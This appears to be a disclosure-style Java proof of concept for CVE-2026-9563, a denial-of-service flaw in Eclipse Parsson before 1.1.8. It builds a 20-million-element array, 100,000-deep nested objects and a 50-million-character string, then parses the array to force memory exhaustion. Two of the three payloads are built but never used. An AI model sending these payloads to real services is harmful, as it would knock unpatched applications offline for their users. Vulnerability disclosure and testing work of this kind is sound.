CVE-2026-9563 Eclipse Parsson JSON解析器拒绝服务漏洞

// PoC for CVE-2026-9563: Eclipse Parsson JSON Parser DoS // This PoC demonstrates how to trigger excessive resource consumption // by sending an oversized JSON document to an application using // Eclipse Parsson < 1.1.8 import jakarta.json.Json; import jakarta.json.JsonReader; import jakarta.json.JsonStructure; import java.io.StringReader; public class CVE_2026_9563_PoC { public static void main(String[] args) { // Method 1: Craft an extremely large JSON array // This creates an array with millions of elements to exhaust memory StringBuilder largeArray = new StringBuilder("["); int elementCount = 20_000_000; // Exceeds the 15M default char limit in 1.1.8 for (int i = 0; i < elementCount; i++) { if (i > 0) largeArray.append(","); largeArray.append(i); } largeArray.append("]"); // Method 2: Deeply nested JSON objects to cause stack/memory exhaustion StringBuilder deepNested = new StringBuilder(); int depth = 100000; for (int i = 0; i < depth; i++) { deepNested.append("{\"a\":"); } deepNested.append("1"); for (int i = 0; i < depth; i++) { deepNested.append("}"); } // Method 3: Extremely long string value StringBuilder longString = new StringBuilder("{\"data\":\""); longString.append("A".repeat(50_000_000)); // 50 million character string longString.append("\"}"); // Trigger the vulnerability - attempt to parse the malicious JSON // In Parsson < 1.1.8, no default limit is enforced try { JsonReader reader = Json.createReader(new StringReader(largeArray.toString())); JsonStructure result = reader.read(); System.out.println("Parsing completed (vulnerable version - should not happen gracefully)"); } catch (OutOfMemoryError e) { System.out.println("DoS triggered: OutOfMemoryError - " + e.getMessage()); } } }